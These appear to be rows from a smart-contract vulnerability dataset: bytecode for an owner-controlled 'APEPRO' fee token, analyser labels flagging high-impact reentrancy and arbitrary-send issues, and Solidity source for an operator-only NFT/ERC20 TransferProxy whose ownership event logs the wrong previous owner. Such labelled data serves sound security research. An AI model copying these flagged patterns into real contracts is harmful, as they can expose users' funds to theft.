3ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f41504550524f0000000000000000000000000000000000000000000000000000815250905090565b60006109a461099d611287565b848461145a565b6001905092915050565b6109b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612e5b565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a676132b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc90613211565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b19611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611cdf565b50565b610b5a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612e5b565b60405180910390fd5b601160149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612edb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906127e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906127e3565b6040518363ffffffff1660e01b8152600401610dff929190612cab565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906127e3565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612cfd565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5991906129b3565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cd4565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612959565b5050565b6110bc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e5b565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e1b565b60405180910390fd5b6111be60646111b0836b033b2e3c9fd0803ce8000000611f6790919063ffffffff16565b611fe290919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f59190612efb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612ebb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612ddb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190612efb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612e9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612d9b565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612e7b565b60405180910390fd5b6005600a81905550600a600b8190555061159561092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160357506115d361092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ac5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117605750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ce5750601160179054906101000a900460ff165b1561187e576012548111156117e257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182d57600080fd5b601e4261183a9190613031565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119295750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611995576005600a819055506014600b819055505b60006119a030610786565b9050601160159054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a255750601160169054906101000a900460ff165b15611a4d57611a3381611cdf565b60004790506000811115611a4b57611a4a47611b76565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0057600090505b611b0c8484848461202c565b50505050565b6000838311158290611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b519190612d79565b60405180910390fd5b5060008385611b699190613112565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bc6600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bf1573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c42600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c6d573d6000803e3d6000fd5b5050565b6000600854821115611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90612dbb565b60405180910390fd5b6000611cc2612059565b9050611cd78184611fe290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1757611d166132e7565b5b604051908082528060200260200182016040528015611d455781602001602082028036833780820191505090505b5090503081600081518110611d5d57611d5c6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dff57600080fd5b505afa158015611e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3791906127e3565b81600181518110611e4b57611e4a6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f16959493929190612f16565b600060405180830381600087803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f7a5760009050611fdc565b60008284611f8891906130b8565b9050828482611f979190613087565b14611fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fce90612e3b565b60405180910390fd5b809150505b92915050565b600061202483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612084565b905092915050565b8061203a576120396120e7565b5b61204584848461212a565b80612053576120526122f5565b5b50505050565b6000806000612066612309565b9150915061207d8183611fe290919063ffffffff16565b9250505090565b600080831182906120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c29190612d79565b60405180910390fd5b50600083856120da9190613087565b9050809150509392505050565b6000600a541480156120fb57506000600b54145b1561210557612128565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213c87612374565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612484565b6122858483612541565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612efb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123456b033b2e3c9fd0803ce8000000600854611fe290919063ffffffff16565b821015612367576008546b033b2e3c9fd0803ce8000000935093505050612370565b81819350935050505b9091565b60008060008060008060008060006123918a600a54600b5461257b565b92509250925060006123a1612059565b905060008060006123b48e878787612611565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b12565b905092915050565b60008082846124359190613031565b90508381101561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190612dfb565b60405180910390fd5b8091505092915050565b600061248e612059565b905060006124a58284611f6790919063ffffffff16565b90506124f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612556826008546123dc90919063ffffffff16565b6008819055506125718160095461242690919063ffffffff16565b6009819055505050565b6000806000806125a76064612599888a611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125d160646125c3888b611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125fa826125ec858c6123dc90919063ffffffff16565b6123dc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061262a8589611f6790919063ffffffff16565b905060006126418689611f6790919063ffffffff16565b905060006126588789611f6790919063ffffffff16565b905060006126818261267385876123dc90919063ffffffff16565b6123dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ad6126a884612fb0565b612f8b565b905080838252602082019050828560208602820111156126d0576126cf61331b565b5b60005b8581101561270057816126e6888261270a565b8452602084019350602083019250506001810190506126d3565b5050509392505050565b60008135905061271981613608565b92915050565b60008151905061272e81613608565b92915050565b600082601f83011261274957612748613316565b5b813561275984826020860161269a565b91505092915050565b6000813590506127718161361f565b92915050565b6000815190506127868161361f565b92915050565b60008135905061279b81613636565b92915050565b6000815190506127b081613636565b92915050565b6000602082840312156127cc576127cb613325565b5b60006127da8482850161270a565b91505092915050565b6000602082840312156127f9576127f8613325565b5b60006128078482850161271f565b91505092915050565b6000806040838503121561282757612826613325565b5b60006128358582860161270a565b92505060206128468582860161270a565b9150509250929050565b60008060006060848603121561286957612868613325565b5b60006128778682870161270a565b93505060206128888682870161270a565b92505060406128998682870161278c565b9150509250925092565b600080604083850312156128ba576128b9613325565b5b60006128c88582860161270a565b92505060206128d98582860161278c565b9150509250929050565b6000602082840312156128f9576128f8613325565b5b600082013567ffffffffffffffff81111561291757612916613320565b5b61292384828501612734565b91505092915050565b60006020828403121561294257612941613325565b5b600061295084828501612762565b91505092915050565b60006020828403121561296f5761296e613325565b5b600061297d84828501612777565b91505092915050565b60006020828403121561299c5761299b613325565b5b60006129aa8482850161278c565b91505092915050565b6000806000606084860312156129cc576129cb613325565b5b60006129da868287016127a1565b93505060206129eb868287016127a1565b92505060406129fc868287016127a1565b9150509250925092565b6000612a128383612a1e565b60208301905092915050565b612a2781613146565b82525050565b612a3681613146565b82525050565b6000612a4782612fec565b612a51818561300f565b9350612a5c83612fdc565b8060005b83811015612a8d578151612a748882612a06565b9750612a7f83613002565b925050600181019050612a60565b5085935050505092915050565b612aa381613158565b82525050565b612ab28161319b565b82525050565b6000612ac382612ff7565b612acd8185613020565b9350612add8185602086016131ad565b612ae68161332a565b840191505092915050565b6000612afe602383613020565b9150612b098261333b565b604082019050919050565b6000612b21602a83613020565b9150612b2c8261338a565b604082019050919050565b6000612b44602283613020565b9150612b4f826133d9565b604082019050919050565b6000612b67601b83613020565b9150612b7282613428565b602082019050919050565b6000612b8a601d83613020565b9150612b9582613451565b602082019050919050565b6000612bad602183613020565b9150612bb88261347a565b604082019050919050565b6000612bd0602083613020565b9150612bdb826134c9565b602082019050919050565b6000612bf3602983613020565b9150612bfe826134f2565b604082019050919050565b6000612c16602583613020565b9150612c2182613541565b604082019050919050565b6000612c39602483613020565b9150612c4482613590565b604082019050919050565b6000612c5c601783613020565b9150612c67826135df565b602082019050919050565b612c7b81613184565b82525050565b612c8a8161318e565b82525050565b6000602082019050612ca56000830184612a2d565b92915050565b6000604082019050612cc06000830185612a2d565b612ccd6020830184612a2d565b9392505050565b6000604082019050612ce96000830185612a2d565b612cf66020830184612c72565b9392505050565b600060c082019050612d126000830189612a2d565b612d1f6020830188612c72565b612d2c6040830187612aa9565b612d396060830186612aa9565b612d466080830185612a2d565b612d5360a0830184612c72565b979650505050505050565b6000602082019050612d736000830184612a9a565b92915050565b60006020820190508181036000830152612d938184612ab8565b905092915050565b60006020820190508181036000830152612db481612af1565b9050919050565b60006020820190508181036000830152612dd481612b14565b9050919050565b60006020820190508181036000830152612df481612b37565b9050919050565b60006020820190508181036000830152612e1481612b5a565b9050919050565b60006020820190508181036000830152612e3481612b7d565b9050919050565b60006020820190508181036000830152612e5481612ba0565b9050919050565b60006020820190508181036000830152612e7481612bc3565b9050919050565b60006020820190508181036000830152612e9481612be6565b9050919050565b60006020820190508181036000830152612eb481612c09565b9050919050565b60006020820190508181036000830152612ed481612c2c565b9050919050565b60006020820190508181036000830152612ef481612c4f565b9050919050565b6000602082019050612f106000830184612c72565b92915050565b600060a082019050612f2b6000830188612c72565b612f386020830187612aa9565b8181036040830152612f4a8186612a3c565b9050612f596060830185612a2d565b612f666080830184612c72565b9695505050505050565b6000602082019050612f856000830184612c81565b92915050565b6000612f95612fa6565b9050612fa182826131e0565b919050565b6000604051905090565b600067ffffffffffffffff821115612fcb57612fca6132e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061303c82613184565b915061304783613184565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561307c5761307b61325a565b5b828201905092915050565b600061309282613184565b915061309d83613184565b9250826130ad576130ac613289565b5b828204905092915050565b60006130c382613184565b91506130ce83613184565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131075761310661325a565b5b828202905092915050565b600061311d82613184565b915061312883613184565b92508282101561313b5761313a61325a565b5b828203905092915050565b600061315182613164565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131a682613184565b9050919050565b60005b838110156131cb5780820151818401526020810190506131b0565b838111156131da576000848401525b50505050565b6131e98261332a565b810181811067ffffffffffffffff82111715613208576132076132e7565b5b80604052505050565b600061321c82613184565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561324f5761324e61325a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361181613146565b811461361c57600080fd5b50565b61362881613158565b811461363357600080fd5b50565b61363f81613184565b811461364a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220111772eb91de83c5ca2b48218a9f2b5720b9085736532bbf18355a6064b67acb64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,064
0x20856c97f94358143819baf7d609713f36c553a3
/** *Submitted for verification at Etherscan.io on 2022-01-19 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC1155 is IERC165 { /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_id` argument MUST be the token type being transferred. The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_ids` argument MUST be the list of tokens being transferred. The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); /** @dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled). */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** @dev MUST emit when the URI is updated for a token ID. URIs are defined in RFC 3986. The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema". */ event URI(string _value, uint256 indexed _id); /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; /** @notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if length of `_ids` is not the same as length of `_values`. MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient. MUST revert on any other error. MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard). Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc). After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _ids IDs of each token type (order and length must match _values array) @param _values Transfer amounts per token type (order and length must match _ids array) @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; /** @notice Get the balance of an account's Tokens. @param _owner The address of the token holder @param _id ID of the Token @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** @notice Get the balance of multiple account/token pairs @param _owners The addresses of the token holders @param _ids ID of the Tokens @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. @dev MUST emit the ApprovalForAll event on success. @param _operator Address to add to the set of authorized operators @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** @notice Queries the approval status of an operator for a given owner. @param _owner The owner of the Tokens @param _operator Address of authorized operator @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TransferProxy { event operatorChanged(address indexed from, address indexed to); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public owner; address public operator; constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } modifier onlyOperator() { require(operator == msg.sender, "OperatorRole: caller does not have the Operator role"); _; } /** change the OperatorRole from contract creator address to trade contractaddress @param _operator :trade address */ function changeOperator(address _operator) public onlyOwner returns(bool) { require(_operator != address(0), "Operator: new operator is the zero address"); operator = _operator; emit operatorChanged(address(0),operator); return true; } /** change the Ownership from current owner to newOwner address @param newOwner : newOwner address */ function ownerTransfership(address newOwner) public onlyOwner returns(bool){ require(newOwner != address(0), "Ownable: new owner is the zero address"); owner = newOwner; emit OwnershipTransferred(owner, newOwner); return true; } function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator { token.safeTransferFrom(from, to, tokenId); } function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator { token.safeTransferFrom(from, to, tokenId, value, data); } function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator { require(token.transferFrom(from, to, value), "failure while transferring"); } }
